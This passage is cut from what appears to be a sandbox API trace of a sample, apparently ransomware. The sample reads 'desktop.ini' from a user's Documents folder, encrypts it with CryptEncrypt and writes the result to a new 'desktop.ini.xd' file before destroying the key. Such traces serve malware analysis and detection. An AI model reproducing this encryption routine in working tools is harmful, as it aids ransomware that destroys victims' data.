lpMsg=0x130f164) returned 0 [0070.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.010] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.010] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.010] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.010] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.011] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\desktop.ini.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.012] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.012] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.012] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.012] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.014] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.015] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x192, lpOverlapped=0x0) returned 1 [0070.019] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.037] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.037] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.037] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.037] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.037] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.037] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.037] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.038] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.038] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.038] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.038] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.038] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.038] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.038] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.040] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.040] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.040] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.040] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.041] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.041] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.041] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.041] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.041] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.041] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.041] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.041] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.041] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.041] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.042] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.042] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.042] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621888, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.042] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.042] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x192, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x1a0) returned 1 [0070.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.043] CharLowerBuffW (in: lpsz="byte[417]", cchLength=0x9 | out: lpsz="byte[417]") returned 0x9 [0070.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.043] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.043] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.043] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a08, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.043] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.043] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x163f428*, pdwDataLen=0x130e618*=0x192, dwBufLen=0x1a0 | out: pbData=0x163f428*, pdwDataLen=0x130e618*=0x1a0) returned 1 [0070.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.044] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.044] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.044] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.044] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.044] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.044] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.045] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.045] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.045] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.045] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.045] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.045] WriteFile (in: hFile=0x2ac, lpBuffer=0x163fc38*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x163fc38*, lpNumberOfBytesWritten=0x130f01c*=0x1a0, lpOverlapped=0x0) returned 1 [0070.046] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.046] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.046] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.046] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.046] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.047] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.047] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.048] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.048] CryptDestroyKey (hKey=0x164c630) returned 1 [0070.049] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.049] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.049] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.049] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.049] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.049] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.049] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.049] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.049] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.049] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.049] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.049] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.049] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.049] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.050] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.050] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.050] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.050] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.050] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.050] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.050] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.050] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.050] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.050] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.050] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.050] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.050] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.051] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.051] CryptReleaseContext (hProv=0x17aade0, dwFlags=0x0) returned 1 [0070.051] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.051] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.051] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.051] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.051] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.148] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.148] CloseHandle (hObject=0x3bc) returned 1 [0070.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.148] CloseHandle (hObject=0x2ac) returned 1 [0070.151] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, 